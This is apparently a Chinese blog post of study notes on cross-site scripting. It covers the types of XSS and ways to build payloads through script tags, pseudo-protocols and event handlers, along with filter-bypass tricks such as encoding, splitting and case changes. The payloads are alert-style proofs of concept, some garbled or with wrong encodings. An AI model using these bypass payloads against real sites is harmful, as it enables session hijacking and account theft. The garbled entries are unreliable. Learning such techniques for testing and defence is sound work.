XSS POC

xss
    xss 作为owasp top 10 之一,
    
    xss 被称为跨站脚本攻击
    
    xss 危害:
            1.盗取各种用户帐号
            2.窃取用户cookie资料,冒充用户身份进入网站
            3.劫持用户会话,执行任意操作
            4.刷流量,执行弹窗广告
            5.传播蠕虫病毒
            
    xss漏洞发生在
                
                服务器
                
    
    xss 漏洞的验证
            
                我们可以用一段简单的代码,验证和检测漏洞的存在
                这样的代码叫做POC 验证xss 漏洞的POC
                                                            
                                                    :常用:
                                                            <script>alert(/xss/)</script>
                                                            <script>confirm('xss')</script>
                                                            <script>prompt('xss')</script>
    xss 漏洞的完整利用工具
                        :EXP  漏洞的完整利用工具
                        
    
    xss : shellcode        : 利用漏洞时,所执行的代码
    
    payload             : 攻击载荷
    
                        sqlmap        攻击代码的模板
                        msf            shellcode 类似 ,功能是建立与目标的连接
                        
    
    xss的分类
            xss 漏洞大概可以分为三个类型:反射型xss ,存储型xss ,DOM型xss
            
            1.反射型xss
                        反射型xss 是非持久性,参数型的跨站脚本,反射型xss 的js 代码在web
                        应用参数(变量中),如果搜索的反射性xss
                                                    在搜索框中提交<script>alert(/xss/)</script>
                                                    
                                                    
            2.存储型xss 是持久性跨站脚本。持久性提现在xss代码不是在某个参数(变量)中,而是写入数据库文件登可以永久
                保存在数据的介质中
                存储型xss 通常发生在留言板上 
            
            3.DOM型xss
                    该类型比较特殊。owasp 关于 DOM类型 xss 的定义是基于DOM 的xss 是一种xss攻击
                    ,其中攻击的payload 由于是修改受害者浏览器页面上的DOM树而执行的。其中特殊的地方就是payload
                    在浏览器本地修改 Dom树而执行,并不会传到服务器上,也就是使得DOM xss比较难以检测。如下
                            
                        [#message=<script> alert(/xss/)</script>]
                        
                        我们以毛点的方式提交Poc 。poc并不会发送给服务器,但是已经出触发了xss 查看当前额面的源代码
                        
                    
XSS 的构造
        1. 利用[<>]构造 HTML标签 script标签
                                
                                            <script>alert(/xss/)</script>
                                            <h1 style = 'color:red'>
                                            
        2.伪协议
            
                可以使用javascript:伪协议的方式构造xss
                                            [javascript:alert(xss);]
                                            提交参数:<a href = "javascript:alert('xss')">
        
        3.产生自己事件
                    
                    事件驱动是一种比较经典的编程思想,在网页中会发生很多事件
                    比如说(鼠标移动,键盘输入等) js 可以对这些事件进行响应,所以我们可以通过事件触发
                    js函数 触发xss
                    
                    
                            事件的种类:
                                
                                    windows 事件的种类:        对windows 对象触发的事件
                                    Form 事件                    HTML 表单内的动作触发事件
                                    keyboard 事件                键盘按键
                                    mouse 事件                    有鼠标或者类似用户动作出发的事件
                                    Media 事件                    由多媒体触发的事件
                                        
                                        如,[<img src = './smile.jpg' οnmοuseοver='alert('xss')']
                                        引入一个图片,然后鼠标悬停在图片上的时候,会触发xss代码
                                                [<a href = '#' οnclick='alert('xss')']
                                            
                                        如单行文本框的键盘点击事件,[<input type='text' οnkeydοwn='alert("xss")'>]
                                        
        4.利用css 跨站(old)
                            但是现在浏览器已经支持了 (在ie6版本还可以用)
                                                    1.行内样式
                                                                <div style="backgroud-image:url(javascript:alert('xss'))</div>"
                                                    
                                                    2.业内样式
                                                                
                                                                <style>Body{backroud-image:url(javascript:alert('xss'))}</style>
                                                                
                                                    3.外部样式
                                                                <link>太麻烦了 还要创建文件 
                                                                
                                                                
        5.其他标签以及手法
                            <svg οnlοad="alert("xxx")"> 
                            <input οnfοcus=alert(/xss/) autofocus>
                                                                
    XSS的变形
            :我们可以构造的Xss 代码进行各种变型
            
                                1.大小写变形
                                                js 对大小写敏感 所以不要不要再js代码中变换
                                                可以变换 HTML标签
                                                
                                                但是可以变换 javascript这个词的大小写
                                                <a href = "javaScript:alert('xss')">
                                
                                2.引号的使用
                                                HTML标签对引号的使用不敏感,但是某些过滤函数是锱铢必较
                                                
                                                <img src='#' οnerrοr='alert('xss')'>
                                                
                                                <img src="#" οnerrοr="alert('xss')">
                                                
                                                <img src=# οnerrοr=alert('xss')>
                                                
                                3.[/]代替空格
                                                <img/src=#/οnerrοr=alert('xss')>
                                
                                4.回车
                                                我们可以在一些位置添加tab 或者是回车符 来绕过关键字检测
                                                <a href = "j
                                                avascript:alert('xss')">
                                                
                                5.对标签属性值进行解码
                                        
                                                可以对标签属性值进行转码,来绕过过滤,编码如下
                                                
                                                
                                                    字母        ASCII 码         十进制编码        十六进制编码
                                                        a            97                &#97;            &#61;
                                                        ........             
                                                        
                                                        
                                                        <a href = "j&#91;v&#91;Script:alert('xss')">
                                                        
                                            另外我们可以 将以下编码字符插入到任意位置
                                            
                                            Tab            &#9;
                                            换行        &#10;
                                            回车        &#13;
                                            
                                            还可以将以下字符插入到头部位置
                                            SOH        &#01;
                                            STX        &#02;
                                            
                                                <a href = "j&#01;&#91;v&#91;&#9;Script:alert('xss')">
                                                
                                    6.拆分跨站
                                                <script>z='alert'</script>
                                                <script>z=z+'('xss')'</script>
                                                <script>eval(z)</script>     eval()函数会把z这个字符串当作 js代码执行 所以可以拆分绕过
                                                
                                    7.css中的变形                
                                
                                                        
                                    8.双写绕过 (太简单了,害怕循环过滤所以...)
                                    
                                    
                                    
                                    9.css 全角字符(ie6 没环境做不了)
            
    

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值